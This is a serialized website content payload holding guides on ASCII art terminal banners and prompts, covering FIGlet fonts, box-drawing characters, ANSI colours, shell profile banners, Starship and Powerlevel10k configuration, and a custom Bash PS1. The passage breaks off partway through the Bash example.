var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":7555},[7556,7557,7561,7566,7572,7573,7574,7575],{"id":7157,"depth":337,"text":7158},{"id":7177,"depth":337,"text":7178,"children":7558},[7559,7560],{"id":7251,"depth":343,"text":7252},{"id":7261,"depth":343,"text":7262},{"id":7271,"depth":337,"text":7272,"children":7562},[7563,7564,7565],{"id":7275,"depth":343,"text":7276},{"id":7353,"depth":343,"text":7354},{"id":7369,"depth":343,"text":7370},{"id":7382,"depth":337,"text":7383,"children":7567},[7568,7569,7570,7571],{"id":7386,"depth":343,"text":7387},{"id":7397,"depth":343,"text":7398},{"id":7404,"depth":343,"text":7405},{"id":7411,"depth":343,"text":7412},{"id":7428,"depth":337,"text":7429},{"id":7494,"depth":337,"text":7495},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Best practices for adding ASCII text banners to GitHub README and documentation.",{"immutable":363},"\u002Fguides\u002Fascii-art-readme-files",{"title":7152,"description":7576},"guides\u002Fascii-art-readme-files","5Llk9afD27WL5fmEYjGnTzxroImU0-uxlHe5AlR5dvw",{"id":7583,"title":7584,"body":7585,"date":2070,"description":8357,"extension":361,"meta":8358,"navigation":363,"path":8359,"readingTime":1710,"seo":8360,"stem":8361,"__hash__":8362},"guides\u002Fguides\u002Fascii-art-terminal-banners.md","ASCII Art for Terminal Banners",{"type":8,"value":7586,"toc":8339},[7587,7591,7594,7601,7605,7608,7720,7726,7730,7754,7758,7761,7766,7772,7777,7783,7788,7794,7798,7801,7895,7899,7902,7984,7987,8021,8025,8029,8038,8149,8153,8253,8257,8283,8287,8290,8308,8310,8325,8327,8330,8336],[11,7588,7590],{"id":7589},"why-terminal-banners-matter","Why Terminal Banners Matter",[16,7592,7593],{},"When you open a terminal or run a CLI tool, the first thing you see sets the tone. A well-crafted ASCII art banner immediately tells users what tool they're using, adds personality, and makes your command-line interface feel polished instead of bare.",[16,7595,7596,7597,7600],{},"Terminal banners are everywhere — from ",[143,7598,7599],{},"neofetch"," system info screens to custom shell prompts, from Docker container MOTDs to game splash screens. They transform a blank terminal into a branded experience.",[11,7602,7604],{"id":7603},"choosing-a-font-for-terminal-banners","Choosing a Font for Terminal Banners",[16,7606,7607],{},"The most common way to generate terminal banners is with FIGlet, a tool that converts plain text into large ASCII letters using font files. Each font has a distinct personality:",[193,7609,7610,7625],{},[196,7611,7612],{},[199,7613,7614,7617,7619,7622],{},[202,7615,7616],{},"Font Style",[202,7618,489],{},[202,7620,7621],{},"Width",[202,7623,7624],{},"Example Use",[211,7626,7627,7643,7658,7674,7689,7705],{},[199,7628,7629,7634,7637,7640],{},[216,7630,7631],{},[143,7632,7633],{},"standard",[216,7635,7636],{},"General purpose",[216,7638,7639],{},"Medium",[216,7641,7642],{},"CLI tool headers",[199,7644,7645,7650,7653,7655],{},[216,7646,7647],{},[143,7648,7649],{},"slant",[216,7651,7652],{},"Modern, dynamic look",[216,7654,7639],{},[216,7656,7657],{},"Dev tool splash screens",[199,7659,7660,7665,7668,7671],{},[216,7661,7662],{},[143,7663,7664],{},"banner",[216,7666,7667],{},"Wide, blocky impact",[216,7669,7670],{},"Wide",[216,7672,7673],{},"Server MOTDs",[199,7675,7676,7681,7684,7686],{},[216,7677,7678],{},[143,7679,7680],{},"block",[216,7682,7683],{},"Bold headings",[216,7685,7670],{},[216,7687,7688],{},"Documentation headers",[199,7690,7691,7696,7699,7702],{},[216,7692,7693],{},[143,7694,7695],{},"small",[216,7697,7698],{},"Compact terminals",[216,7700,7701],{},"Narrow",[216,7703,7704],{},"Embedded info panels",[199,7706,7707,7712,7715,7717],{},[216,7708,7709],{},[143,7710,7711],{},"thin",[216,7713,7714],{},"Minimalist aesthetic",[216,7716,7701],{},[216,7718,7719],{},"Dotfile configs",[16,7721,7722,7723,7725],{},"Keep your terminal width in mind. Most terminals default to 80 columns, so measure your banner output. A ",[143,7724,7664],{},"-font title longer than 8 characters will likely wrap on standard terminals.",[33,7727,7729],{"id":7728},"font-selection-tips","Font Selection Tips",[41,7731,7732,7740,7748,7751],{},[44,7733,7734,7735,1459,7737,7739],{},"Prefer narrow fonts (",[143,7736,7695],{},[143,7738,7711],{},") for long project names",[44,7741,7742,7743,1459,7745,7747],{},"Use wide fonts (",[143,7744,7664],{},[143,7746,7680],{},") only when you control the terminal width",[44,7749,7750],{},"Test your banner at both 80 and 120 columns",[44,7752,7753],{},"Avoid fonts that rely on extended ASCII — they break on some terminals",[11,7755,7757],{"id":7756},"adding-style-with-blocks-and-borders","Adding Style with Blocks and Borders",[16,7759,7760],{},"A raw FIGlet output works, but borders and decorative elements elevate it. Here are common patterns:",[16,7762,7763],{},[47,7764,7765],{},"Box drawing with double lines:",[135,7767,7770],{"className":7768,"code":7769,"language":140},[138],"╔══════════════════════════════╗\n║   _   _ ___  ___ ___  ___   ║\n║  | | | \u002F __|| __| _ \\\u002F __|  ║\n║  | |_| \\__ \\| _||   \u002F\\__ \\  ║\n║   \\___\u002F|___\u002F|___|_|_\\|___\u002F  ║\n╚══════════════════════════════╝\n",[143,7771,7769],{"__ignoreMap":141},[16,7773,7774],{},[47,7775,7776],{},"Single-line box with separator:",[135,7778,7781],{"className":7779,"code":7780,"language":140},[138],"┌─────────────────────────────┐\n│     MY TOOL v2.0            │\n├─────────────────────────────┤\n│  A CLI for things           │\n└─────────────────────────────┘\n",[143,7782,7780],{"__ignoreMap":141},[16,7784,7785],{},[47,7786,7787],{},"Hash border:",[135,7789,7792],{"className":7790,"code":7791,"language":140},[138],"################################\n#   __  __ ____  ____          #\n#  |  \\\u002F  \u002F ___||  _ \\ ___    #\n#  | |\\\u002F| \\___ \\| |_) \u002F __|   #\n#  | |  | |___) |  __\u002F\\__ \\   #\n#  |_|  |_|____\u002F|_|   |___\u002F   #\n################################\n",[143,7793,7791],{"__ignoreMap":141},[33,7795,7797],{"id":7796},"box-drawing-character-reference","Box Drawing Character Reference",[16,7799,7800],{},"Use Unicode box-drawing characters for clean borders. They render correctly on virtually all modern terminals:",[193,7802,7803,7815],{},[196,7804,7805],{},[199,7806,7807,7810,7813],{},[202,7808,7809],{},"Character",[202,7811,7812],{},"Code Point",[202,7814,4034],{},[211,7816,7817,7830,7843,7856,7869,7882],{},[199,7818,7819,7824,7827],{},[216,7820,7821],{},[143,7822,7823],{},"─",[216,7825,7826],{},"U+2500",[216,7828,7829],{},"Horizontal line",[199,7831,7832,7837,7840],{},[216,7833,7834],{},[143,7835,7836],{},"│",[216,7838,7839],{},"U+2502",[216,7841,7842],{},"Vertical line",[199,7844,7845,7850,7853],{},[216,7846,7847],{},[143,7848,7849],{},"┌",[216,7851,7852],{},"U+250C",[216,7854,7855],{},"Top-left corner",[199,7857,7858,7863,7866],{},[216,7859,7860],{},[143,7861,7862],{},"┐",[216,7864,7865],{},"U+2510",[216,7867,7868],{},"Top-right corner",[199,7870,7871,7876,7879],{},[216,7872,7873],{},[143,7874,7875],{},"└",[216,7877,7878],{},"U+2514",[216,7880,7881],{},"Bottom-left corner",[199,7883,7884,7889,7892],{},[216,7885,7886],{},[143,7887,7888],{},"┘",[216,7890,7891],{},"U+2518",[216,7893,7894],{},"Bottom-right corner",[11,7896,7898],{"id":7897},"color-and-ansi-escape-codes","Color and ANSI Escape Codes",[16,7900,7901],{},"Monochrome banners work fine, but ANSI color codes add impact. Most modern terminals support 256-color or true-color output:",[135,7903,7905],{"className":6951,"code":7904,"language":6953,"meta":141,"style":141},"# Red banner text\nprintf \"\\033[31m\"\nfiglet \"DEPLOY\"\nprintf \"\\033[0m\"\n\n# Gradient effect using 256-color palette\nfor i in {196..202}; do\n  printf \"\\033[38;5;${i}m█\\033[0m\"\ndone\n",[143,7906,7907,7912,7920,7927,7934,7938,7943,7965,7979],{"__ignoreMap":141},[1560,7908,7909],{"class":1562,"line":1563},[1560,7910,7911],{"class":1649},"# Red banner text\n",[1560,7913,7914,7917],{"class":1562,"line":337},[1560,7915,7916],{"class":1576},"printf",[1560,7918,7919],{"class":5634}," \"\\033[31m\"\n",[1560,7921,7922,7924],{"class":1562,"line":343},[1560,7923,6960],{"class":1566},[1560,7925,7926],{"class":5634}," \"DEPLOY\"\n",[1560,7928,7929,7931],{"class":1562,"line":365},[1560,7930,7916],{"class":1576},[1560,7932,7933],{"class":5634}," \"\\033[0m\"\n",[1560,7935,7936],{"class":1562,"line":889},[1560,7937,1702],{"emptyLinePlaceholder":363},[1560,7939,7940],{"class":1562,"line":1710},[1560,7941,7942],{"class":1649},"# Gradient effect using 256-color palette\n",[1560,7944,7945,7948,7951,7954,7957,7960,7962],{"class":1562,"line":1717},[1560,7946,7947],{"class":1669},"for",[1560,7949,7950],{"class":1570}," i ",[1560,7952,7953],{"class":1669},"in",[1560,7955,7956],{"class":1570}," {",[1560,7958,7959],{"class":1566},"196..202}",[1560,7961,3664],{"class":1570},[1560,7963,7964],{"class":1669},"do\n",[1560,7966,7967,7970,7973,7976],{"class":1562,"line":1747},[1560,7968,7969],{"class":1576},"  printf",[1560,7971,7972],{"class":5634}," \"\\033[38;5;${",[1560,7974,7975],{"class":1570},"i",[1560,7977,7978],{"class":5634},"}m█\\033[0m\"\n",[1560,7980,7981],{"class":1562,"line":2507},[1560,7982,7983],{"class":1669},"done\n",[16,7985,7986],{},"Keep these rules in mind:",[41,7988,7989,7996,8007,8014],{},[44,7990,7991,7992,7995],{},"Always reset colors with ",[143,7993,7994],{},"\\033[0m"," to avoid bleeding into subsequent output",[44,7997,7998,7999,8002,8003,8006],{},"Detect terminal color support before emitting codes — use ",[143,8000,8001],{},"tput colors"," or the ",[143,8004,8005],{},"COLORTERM"," environment variable",[44,8008,8009,8010,8013],{},"Provide a ",[143,8011,8012],{},"--no-color"," flag for CI\u002FCD pipelines and log files",[44,8015,8016,8017,8020],{},"Avoid blinking (",[143,8018,8019],{},"\\033[5m",") — it's widely considered annoying",[11,8022,8024],{"id":8023},"practical-integration-patterns","Practical Integration Patterns",[33,8026,8028],{"id":8027},"shell-profile-banners","Shell Profile Banners",[16,8030,8031,8032,1531,8034,8037],{},"Add a banner to your ",[143,8033,6887],{},[143,8035,8036],{},".zshrc",":",[135,8039,8041],{"className":6951,"code":8040,"language":6953,"meta":141,"style":141},"# Only show on interactive shells\nif [[ $- == *i* ]]; then\n  echo \"\"\n  figlet -f small \"$(whoami)@$(hostname)\"\n  echo \"  Last login: $(last -1 \"$(whoami)\" | awk '{print $4, $5, $6}')\"\n  echo \"\"\nfi\n",[143,8042,8043,8048,8076,8084,8110,8138,8144],{"__ignoreMap":141},[1560,8044,8045],{"class":1562,"line":1563},[1560,8046,8047],{"class":1649},"# Only show on interactive shells\n",[1560,8049,8050,8053,8056,8059,8062,8065,8067,8070,8073],{"class":1562,"line":337},[1560,8051,8052],{"class":1669},"if",[1560,8054,8055],{"class":1570}," [[ ",[1560,8057,8058],{"class":1576},"$-",[1560,8060,8061],{"class":1669}," ==",[1560,8063,8064],{"class":1669}," *",[1560,8066,7975],{"class":1570},[1560,8068,8069],{"class":1669},"*",[1560,8071,8072],{"class":1570}," ]]; ",[1560,8074,8075],{"class":1669},"then\n",[1560,8077,8078,8081],{"class":1562,"line":343},[1560,8079,8080],{"class":1576},"  echo",[1560,8082,8083],{"class":5634}," \"\"\n",[1560,8085,8086,8089,8092,8095,8098,8101,8104,8107],{"class":1562,"line":365},[1560,8087,8088],{"class":1566},"  figlet",[1560,8090,8091],{"class":1576}," -f",[1560,8093,8094],{"class":5634}," small",[1560,8096,8097],{"class":5634}," \"$(",[1560,8099,8100],{"class":1566},"whoami",[1560,8102,8103],{"class":5634},")@$(",[1560,8105,8106],{"class":1566},"hostname",[1560,8108,8109],{"class":5634},")\"\n",[1560,8111,8112,8114,8117,8120,8123,8125,8127,8130,8132,8135],{"class":1562,"line":889},[1560,8113,8080],{"class":1576},[1560,8115,8116],{"class":5634}," \"  Last login: $(",[1560,8118,8119],{"class":1566},"last",[1560,8121,8122],{"class":1576}," -1",[1560,8124,8097],{"class":5634},[1560,8126,8100],{"class":1566},[1560,8128,8129],{"class":5634},")\" ",[1560,8131,7334],{"class":1669},[1560,8133,8134],{"class":1566}," awk",[1560,8136,8137],{"class":5634}," '{print $4, $5, $6}')\"\n",[1560,8139,8140,8142],{"class":1562,"line":1710},[1560,8141,8080],{"class":1576},[1560,8143,8083],{"class":5634},[1560,8145,8146],{"class":1562,"line":1717},[1560,8147,8148],{"class":1669},"fi\n",[33,8150,8152],{"id":8151},"nodejs-cli-banners","Node.js CLI Banners",[135,8154,8156],{"className":1607,"code":8155,"language":1609,"meta":141,"style":141},"import figlet from 'figlet'\n\nconst banner = figlet.textSync('my-cli', { font: 'slant' })\nconsole.log(`\\n${banner}\\n  Version ${pkg.version}\\n`)\n",[143,8157,8158,8172,8176,8207],{"__ignoreMap":141},[1560,8159,8160,8163,8166,8169],{"class":1562,"line":1563},[1560,8161,8162],{"class":1669},"import",[1560,8164,8165],{"class":1570}," figlet ",[1560,8167,8168],{"class":1669},"from",[1560,8170,8171],{"class":5634}," 'figlet'\n",[1560,8173,8174],{"class":1562,"line":337},[1560,8175,1702],{"emptyLinePlaceholder":363},[1560,8177,8178,8181,8184,8187,8190,8193,8195,8198,8201,8204],{"class":1562,"line":343},[1560,8179,8180],{"class":1669},"const",[1560,8182,8183],{"class":1576}," banner",[1560,8185,8186],{"class":1669}," =",[1560,8188,8189],{"class":1570}," figlet.",[1560,8191,8192],{"class":1566},"textSync",[1560,8194,1688],{"class":1570},[1560,8196,8197],{"class":5634},"'my-cli'",[1560,8199,8200],{"class":1570},", { font: ",[1560,8202,8203],{"class":5634},"'slant'",[1560,8205,8206],{"class":1570}," })\n",[1560,8208,8209,8212,8215,8217,8220,8223,8226,8228,8231,8233,8236,8239,8241,8244,8246,8248,8250],{"class":1562,"line":365},[1560,8210,8211],{"class":1570},"console.",[1560,8213,8214],{"class":1566},"log",[1560,8216,1688],{"class":1570},[1560,8218,8219],{"class":5634},"`",[1560,8221,8222],{"class":1576},"\\n",[1560,8224,8225],{"class":5634},"${",[1560,8227,7664],{"class":1570},[1560,8229,8230],{"class":5634},"}",[1560,8232,8222],{"class":1576},[1560,8234,8235],{"class":5634},"  Version ${",[1560,8237,8238],{"class":1570},"pkg",[1560,8240,468],{"class":5634},[1560,8242,8243],{"class":1570},"version",[1560,8245,8230],{"class":5634},[1560,8247,8222],{"class":1576},[1560,8249,8219],{"class":5634},[1560,8251,8252],{"class":1570},")\n",[33,8254,8256],{"id":8255},"python-cli-banners","Python CLI Banners",[135,8258,8262],{"className":8259,"code":8260,"language":8261,"meta":141,"style":141},"language-python shiki shiki-themes github-light github-dark","from pyfiglet import figlet_format\n\nbanner = figlet_format(\"myapp\", font=\"standard\")\nprint(f\"\\n{banner}  v{__version__}\\n\")\n","python",[143,8263,8264,8269,8273,8278],{"__ignoreMap":141},[1560,8265,8266],{"class":1562,"line":1563},[1560,8267,8268],{},"from pyfiglet import figlet_format\n",[1560,8270,8271],{"class":1562,"line":337},[1560,8272,1702],{"emptyLinePlaceholder":363},[1560,8274,8275],{"class":1562,"line":343},[1560,8276,8277],{},"banner = figlet_format(\"myapp\", font=\"standard\")\n",[1560,8279,8280],{"class":1562,"line":365},[1560,8281,8282],{},"print(f\"\\n{banner}  v{__version__}\\n\")\n",[11,8284,8286],{"id":8285},"performance-considerations","Performance Considerations",[16,8288,8289],{},"FIGlet font rendering is fast for single outputs, but avoid these pitfalls:",[41,8291,8292,8295,8298,8305],{},[44,8293,8294],{},"Don't render banners in tight loops or hot paths",[44,8296,8297],{},"Cache rendered output if your CLI starts repeatedly (e.g., shell completion)",[44,8299,8300,8301,8304],{},"Strip ANSI codes when piping to files — check ",[143,8302,8303],{},"isatty(stdout)"," before adding color",[44,8306,8307],{},"For containers, keep MOTD banners short to avoid slowing SSH login",[11,8309,321],{"id":320},[41,8311,8312,8316,8320],{},[44,8313,8314],{},[98,8315,7527],{"href":7145},[44,8317,8318],{},[98,8319,7532],{"href":7103},[44,8321,8322],{},[98,8323,8324],{"href":7109},"Text Art History",[11,8326,286],{"id":285},[16,8328,8329],{},"Ready to create your own terminal banner? Use our free ASCII art generator to preview fonts, adjust widths, and copy formatted output directly into your project.",[16,8331,4531,8332],{},[98,8333,8334],{"href":7120},[47,8335,7550],{},[2043,8337,8338],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":8340},[8341,8342,8345,8348,8349,8354,8355,8356],{"id":7589,"depth":337,"text":7590},{"id":7603,"depth":337,"text":7604,"children":8343},[8344],{"id":7728,"depth":343,"text":7729},{"id":7756,"depth":337,"text":7757,"children":8346},[8347],{"id":7796,"depth":343,"text":7797},{"id":7897,"depth":337,"text":7898},{"id":8023,"depth":337,"text":8024,"children":8350},[8351,8352,8353],{"id":8027,"depth":343,"text":8028},{"id":8151,"depth":343,"text":8152},{"id":8255,"depth":343,"text":8256},{"id":8285,"depth":337,"text":8286},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Create eye-catching terminal splash screens and CLI banners with ASCII art techniques.",{"immutable":363},"\u002Fguides\u002Fascii-art-terminal-banners",{"title":7584,"description":8357},"guides\u002Fascii-art-terminal-banners","SkXJ4cfNswfRrrvdiYyrhyTrjaZj-TSjdvUiBh4nkFE",{"id":8364,"title":8365,"body":8366,"date":2070,"description":8930,"extension":361,"meta":8931,"navigation":363,"path":8932,"readingTime":1710,"seo":8933,"stem":8934,"__hash__":8935},"guides\u002Fguides\u002Fascii-art-terminal-prompts.md","ASCII Art in Terminal Prompts: Customizing Your Shell Experience",{"type":8,"value":8367,"toc":8920},[8368,8375,8379,8382,8408,8411,8415,8418,8488,8491,8596,8600,8603,8606,8626,8632,8684,8688,8693,8802,8805,8811,8823,8827,8830,8866,8868,8888,8890,8908,8910,8917],[16,8369,8370,8371,8374],{},"Your terminal prompt is the first thing you see when you open a shell. Adding ASCII art transforms a plain ",[143,8372,8373],{},"user@host:~$"," into a personalized workspace that is instantly recognizable and surprisingly functional. This guide covers tools, techniques, and design principles for terminal prompts that look great and stay useful.",[11,8376,8378],{"id":8377},"why-customize-your-prompt","Why Customize Your Prompt",[16,8380,8381],{},"A customized prompt serves practical purposes beyond aesthetics:",[41,8383,8384,8390,8396,8402],{},[44,8385,8386,8389],{},[47,8387,8388],{},"Fast identification"," — distinguish between local, staging, and production shells at a glance",[44,8391,8392,8395],{},[47,8393,8394],{},"Context at a glance"," — display git branch, Node version, or Kubernetes namespace without running extra commands",[44,8397,8398,8401],{},[47,8399,8400],{},"Visual anchor"," — a distinctive prompt makes it easier to find command boundaries when scrolling through long terminal histories",[44,8403,8404,8407],{},[47,8405,8406],{},"Muscle memory"," — consistent visual patterns help your brain parse output faster",[16,8409,8410],{},"ASCII art banners at terminal startup serve a similar purpose: they confirm which machine or environment you have connected to, reducing the risk of running commands on the wrong server.",[11,8412,8414],{"id":8413},"starship-the-modern-prompt-framework","Starship: The Modern Prompt Framework",[16,8416,8417],{},"Starship is a cross-shell prompt customizer written in Rust. It works with Bash, Zsh, Fish, PowerShell, and Ion — making your prompt portable across operating systems.",[135,8419,8423],{"className":8420,"code":8421,"language":8422,"meta":141,"style":141},"language-toml shiki shiki-themes github-light github-dark","# ~\u002F.config\u002Fstarship.toml\n\n# Add a custom ASCII character before each command\n[character]\nsuccess_symbol = \"[➜](bold green)\"\nerror_symbol = \"[✗](bold red)\"\n\n# Show custom ASCII art on shell startup\n[custom.banner]\ncommand = \"cat ~\u002F.config\u002Fstarship-banner.txt\"\nwhen = \"test $STARSHIP_SESSION_KEY\"\nformat = \"[$output]($style)\\n\"\nstyle = \"bold cyan\"\n","toml",[143,8424,8425,8430,8434,8439,8444,8449,8454,8458,8463,8468,8473,8478,8483],{"__ignoreMap":141},[1560,8426,8427],{"class":1562,"line":1563},[1560,8428,8429],{},"# ~\u002F.config\u002Fstarship.toml\n",[1560,8431,8432],{"class":1562,"line":337},[1560,8433,1702],{"emptyLinePlaceholder":363},[1560,8435,8436],{"class":1562,"line":343},[1560,8437,8438],{},"# Add a custom ASCII character before each command\n",[1560,8440,8441],{"class":1562,"line":365},[1560,8442,8443],{},"[character]\n",[1560,8445,8446],{"class":1562,"line":889},[1560,8447,8448],{},"success_symbol = \"[➜](bold green)\"\n",[1560,8450,8451],{"class":1562,"line":1710},[1560,8452,8453],{},"error_symbol = \"[✗](bold red)\"\n",[1560,8455,8456],{"class":1562,"line":1717},[1560,8457,1702],{"emptyLinePlaceholder":363},[1560,8459,8460],{"class":1562,"line":1747},[1560,8461,8462],{},"# Show custom ASCII art on shell startup\n",[1560,8464,8465],{"class":1562,"line":2507},[1560,8466,8467],{},"[custom.banner]\n",[1560,8469,8470],{"class":1562,"line":2524},[1560,8471,8472],{},"command = \"cat ~\u002F.config\u002Fstarship-banner.txt\"\n",[1560,8474,8475],{"class":1562,"line":2529},[1560,8476,8477],{},"when = \"test $STARSHIP_SESSION_KEY\"\n",[1560,8479,8480],{"class":1562,"line":2534},[1560,8481,8482],{},"format = \"[$output]($style)\\n\"\n",[1560,8484,8485],{"class":1562,"line":2542},[1560,8486,8487],{},"style = \"bold cyan\"\n",[16,8489,8490],{},"Starship modules detect your environment automatically:",[193,8492,8493,8505],{},[196,8494,8495],{},[199,8496,8497,8500,8503],{},[202,8498,8499],{},"Module",[202,8501,8502],{},"Shows",[202,8504,133],{},[211,8506,8507,8522,8537,8552,8566,8581],{},[199,8508,8509,8514,8517],{},[216,8510,8511],{},[143,8512,8513],{},"git_branch",[216,8515,8516],{},"Current branch",[216,8518,8519],{},[143,8520,8521],{},"main",[199,8523,8524,8529,8532],{},[216,8525,8526],{},[143,8527,8528],{},"git_status",[216,8530,8531],{},"Dirty\u002Fclean state",[216,8533,8534],{},[143,8535,8536],{},"✚3 ─✖2",[199,8538,8539,8544,8547],{},[216,8540,8541],{},[143,8542,8543],{},"nodejs",[216,8545,8546],{},"Node version",[216,8548,8549],{},[143,8550,8551],{},"v20.11.0",[199,8553,8554,8558,8561],{},[216,8555,8556],{},[143,8557,8261],{},[216,8559,8560],{},"Python version + venv",[216,8562,8563],{},[143,8564,8565],{},"🐍 3.12.1 (venv)",[199,8567,8568,8573,8576],{},[216,8569,8570],{},[143,8571,8572],{},"kubernetes",[216,8574,8575],{},"Current context\u002Fnamespace",[216,8577,8578],{},[143,8579,8580],{},"⎈ prod\u002Fus-east",[199,8582,8583,8588,8591],{},[216,8584,8585],{},[143,8586,8587],{},"docker_context",[216,8589,8590],{},"Active Docker context",[216,8592,8593],{},[143,8594,8595],{},"🐋 default",[11,8597,8599],{"id":8598},"powerlevel10k-zsh-native-power","Powerlevel10k: Zsh-Native Power",[16,8601,8602],{},"Powerlevel10k is a Zsh theme that combines ASCII icons with a configuration wizard. It is the most popular Zsh prompt framework and offers the deepest integration with Zsh features.",[16,8604,8605],{},"Key features:",[41,8607,8608,8614,8620],{},[44,8609,8610,8613],{},[47,8611,8612],{},"Instant prompt"," — renders the prompt before Zsh finishes loading plugins, eliminating startup lag",[44,8615,8616,8619],{},[47,8617,8618],{},"Transient prompt"," — shows full context on the current line, then collapses previous prompts to a simple character for cleaner history",[44,8621,8622,8625],{},[47,8623,8624],{},"ASCII segment icons"," — usesPowerline symbols and Nerd Font icons for git status, language versions, and command duration",[16,8627,8628,8629,8037],{},"To add custom ASCII art, edit your ",[143,8630,8631],{},"~\u002F.p10k.zsh",[135,8633,8637],{"className":8634,"code":8635,"language":8636,"meta":141,"style":141},"language-zsh shiki shiki-themes github-light github-dark","# Custom ASCII banner on new terminal session\nfunction prompt_custom_banner() {\n  p10k segment -t \"╔══════════════════╗\\n║  Hello, $USER    ║\\n╚══════════════════╝\" -f cyan\n}\n","zsh",[143,8638,8639,8644,8655,8680],{"__ignoreMap":141},[1560,8640,8641],{"class":1562,"line":1563},[1560,8642,8643],{"class":1649},"# Custom ASCII banner on new terminal session\n",[1560,8645,8646,8649,8652],{"class":1562,"line":337},[1560,8647,8648],{"class":1669},"function",[1560,8650,8651],{"class":1566}," prompt_custom_banner",[1560,8653,8654],{"class":1570},"() {\n",[1560,8656,8657,8660,8663,8666,8669,8672,8675,8677],{"class":1562,"line":343},[1560,8658,8659],{"class":1566},"  p10k",[1560,8661,8662],{"class":5634}," segment",[1560,8664,8665],{"class":1576}," -t",[1560,8667,8668],{"class":5634}," \"╔══════════════════╗\\n║  Hello, ",[1560,8670,8671],{"class":1570},"$USER",[1560,8673,8674],{"class":5634},"    ║\\n╚══════════════════╝\"",[1560,8676,8091],{"class":1576},[1560,8678,8679],{"class":5634}," cyan\n",[1560,8681,8682],{"class":1562,"line":365},[1560,8683,1585],{"class":1570},[11,8685,8687],{"id":8686},"custom-ps1-for-bash","Custom PS1 for Bash",[16,8689,8690,8691,8037],{},"If you prefer minimal dependencies, you can build a custom ASCII prompt directly in ",[143,8692,6887],{},[135,8694,8696],{"className":6951,"code":8695,"language":6953,"meta":141,"style":141},"# ASCII art banner (shown on new session)\nif [ -z \"$CUSTOM_PROMPT_LOADED\" ]; then\n  echo -e \"\\033[36m\"\n  echo \"  ╦ ╦┌─┐┌┐ ╔═╗╔═╗\"\n  echo \"  ║║║├┤ ├┴┐║ ║╚═╗\"\n  echo \"  ╚╩╝└─┘└─┘╚═╝╚═╝\"\n  echo -e \"\\033[0m\"\n  export CUSTOM_PROMPT_LOADED=1\nfi\n\n# Custom PS1 with ASCII decorations\nPS1='\\[\\033[1;32m\\]┌──\\[\\033[1;34m\\](\\w)\\[\\033[0m\\]\\n\\[\\033[1;32m\\]└─\\[\\033[1;36m\\]$ \\[\\033[0m\\]'\n",[143,8697,8698,8703,8727,8737,8744,8751,8758,8766,8779,8783,8787,8792],{"__ignoreMap":141},[1560,8699,8700],{"class":1562,"line":1563},[1560,8701,8702],{"class":1649},"# ASCII art banner (shown on new session)\n",[1560,8704,8705,8707,8710,8713,8716,8719,8722,8725],{"class":1562,"line":337},[1560,8706,8052],{"class":1669},[1560,8708,8709],{"class":1570}," [ ",[1560,8711,8712],{"class":1669},"-z",[1560,8714,8715],{"class":5634}," \"",[1560,8717,8718],{"class":1570},"$CUSTOM_PROMPT_LOADED",[1560,8720,8721],{"class":5634},"\"",[1560,8723,8724],{"class":1570}," ]; ",[1560,8726,8075],{"class":1669},[1560,8728,8729,8731,8734],{"class":1562,"line":343},[1560,8730,8080],{"class":1576},[1560,8732,8733],{"class":1576}," -e",[1560,8735,8736],{"class":5634}," \"\\033[36m\"\n",[1560,8738,8739,8741],{"class":1562,"line":365},[1560,8740,8080],{"class":1576},[1560,8742,8743],{"class":5634}," \"  ╦ ╦┌─┐┌┐ ╔═╗╔═╗\"\n",[1560,8745,8746,8748],{"class":1562,"line":889},[1560,8747,8080],{"class":1576},[1560,8749,8750],{"class":5634}," \"  ║║║├┤ ├┴┐║ ║╚═╗\"\n",[1560,8752,8753,8755],{"class":1562,"line":1710},[1560,8754,8080],{"class":1576},[1560,8756,8757],{"class":5634}," \"  ╚╩╝└─┘└─┘╚═╝╚═╝\"\n",[1560,8759,8760,8762,8764],{"class":1562,"line":1717},[1560,8761,8080],{"class":1576},[1560,8763,8733],{"class":1576},[1560,8765,7933],{"class":5634},[1560,8767,8768,8771,8774,8776],{"class":1562,"line":1747},[1560,8769,8770],{"class":1669},"  export",[1560,8772,8773],{"class":1570}," CUSTOM_PROMPT_LOADED",[1560,8775,7297],{"class":1669},[1560,8777,8778],{"class":1576},"1\n",[1560,8780,8781],{"class":1562,"line":2507},[1560,8782,8148],{"class":1669},[1560,8784,8785],{"class":1562,"line":2524},[1560,8786,1702],{"emptyLinePlaceholder":363},[1560,8788,8789],{"class":1562,"line":2529},[1560,8790,8791],{"class":1649},"# Custom PS1 with ASCII 